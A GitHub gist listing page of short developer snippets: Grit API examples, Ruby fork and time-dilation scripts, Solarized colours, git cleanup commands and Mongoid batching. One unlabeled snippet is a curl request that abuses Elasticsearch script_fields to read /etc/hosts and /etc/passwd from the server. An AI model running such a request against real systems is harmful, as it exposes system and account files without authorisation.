Skip to content

Instantly share code, notes, and snippets.

View simsicon's full-sized avatar

simsicon

  • Shanghai
View GitHub Profile
@simsicon
simsicon / api
Created October 22, 2013 15:28
RESTful API examples for Grit
Examples built with referenced from https://github.com/mojombo/grit/blob/master/lib/grit/repo.rb
POST /repos
PARAMS
bare: { type:Boolean, default:false }
repo_name: { type:String, required:true }
path: {type:String, required:true }
REQUEST EXMAPLE
{
"bare":true,
@simsicon
simsicon / fork_env.rb
Created September 22, 2013 07:46
ENV will inherit content from parent, not disturbed by siblings.
ENV['p_name'] = 'master'
puts "[master] pid: #{Process.pid} pname: #{ENV['p_name']}"
p1 = Process.fork{
puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}"
ENV['p_name'] = 'p1'
puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}"
}
p2 = Process.fork{
@simsicon
simsicon / scheme.sass
Created September 11, 2013 15:11
Solarized Color Scheme
$base03: #002b36
$base02: #073642
$base01: #586e75
$base00: #657b83
$base0: #839496
$base1: #93a1a1
$base2: #eee8d5
$base3: #fdf6e3
$yellow: #b58900
$orange: #cb4b16
@simsicon
simsicon / gist:5eaf04b9c3db0ba342cb
Created July 8, 2015 04:38
Remove merged branch
git branch --merged master | grep -v "\* master" | grep -v "develop" | xargs -n 1 git branch -d
git branch -r --merged master | grep -v ">" | grep -v "develop" | grep -v "master" | sed 's/ *origin\///' | xargs -n 1 git push origin --delete
$.ajax
type: 'GET'
url: "http://crossdomain.com/data"
async: true
contentType: "application/json"
dataType: 'jsonp'
jsonpCallback: 'success_jsonpCallback'
success: (response) ->
console.log( response )
curl http://localhost:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery1111003201273805461824_1400992064967&_=1400992064968
@simsicon
simsicon / time.rb
Last active August 29, 2015 14:00
Relative Time Dilation
#
# http://en.wikipedia.org/wiki/Time_dilation
#
C = 300000.0
SECONDS_IN_YEAR = 365 * 24 * 3600
def calculate(v, delta_t)
relative_v = ( v * v ) / ( C * C )
denominator = Math.sqrt( 1 - relative_v ).to_f
@simsicon
simsicon / query.rb
Created March 13, 2014 08:48
Mongoid doesn't support find_in_batches, this is a work around for it.
per_batch = 10
0.step(User.count, per_batch) do |offset|
puts User.limit(per_batch).skip(offset).map(&:username).inspect
end